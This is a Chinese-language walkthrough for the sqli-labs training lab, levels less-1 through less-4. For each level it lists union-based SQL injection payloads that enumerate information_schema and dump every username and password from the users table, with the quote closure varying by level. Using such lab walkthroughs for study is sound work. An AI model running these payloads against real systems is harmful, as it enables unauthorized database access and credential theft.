sqli-labs通关攻略

less-1

(1)在浏览器打开后下拉，点击less-1。

(2)通过 ?id=1 查看登录名和密码

(3)通过 order by+ 来判断字段数，得出字段数是3

(4)使用 union select 1,2,3 确定回显点

(5)使用 ?id=-1'union select 1,database(),3 --+ 得到靶场数据库

(6)使用 ?id=-1'union select 1,database(),version() --+ 查看数据库版本

(7)使用 ?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 查找所有表

(8)使用 ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+ 查看字段

(9)使用命令 ?id=-1'union select 1,2,group_concat(username,'~',password) from users --+ 拿到所有的用户名和密码

less-2

(1)点击less-2，通过?id=1查看登录名和密码

(2)通过 order by+ 来判断字段数，得出字段数是3

(3)使用 union select 1,2,3 确定回显点

(4)使用 ?id=-1 union select 1,database(),3 --+ 拿到靶场数据库

(5)使用 ?id=-1 union select 1,database(),version() --+ 查看数据库版本

(6)使用 ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 查找所有表

(7)使用 ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+ 查看字段

(8)使用 ?id=-1 union select 1,2,group_concat(username,'~',password) from users --+ 拿到所有的用户名和密码

less-3

(1)打开less-3并判断闭合方式，然后判断字段数，得出字段数是3

(2)使用 ?id=-1') union select 1,2,3--+ 确定回显点

(3)使用 ?id=-1') union select 1,2,database()--+ 拿到靶场数据库

(4)使用 ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 查找所有表

(5)使用 ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+ 查看字段

(6)使用 ?id=-1') union select 1,2,group_concat(username,'~',password) from users --+ 拿到所有的数据

less-4

(1)打开less-4并判断闭合方式，然后判断字段数，得出字段数是3

(2)使用 ?id=-1") union select 1,2,3--+ 确定回显点

(3)使用 ?id=-1") union select 1,2,database()--+ 拿到靶场数据库

(4)使用 ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 查找所有表

(5)使用 ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+ 查看字段

(6)使用 ?id=-1") union select 1,2,group_concat(username,'~',password) from users --+ 拿到所有的数据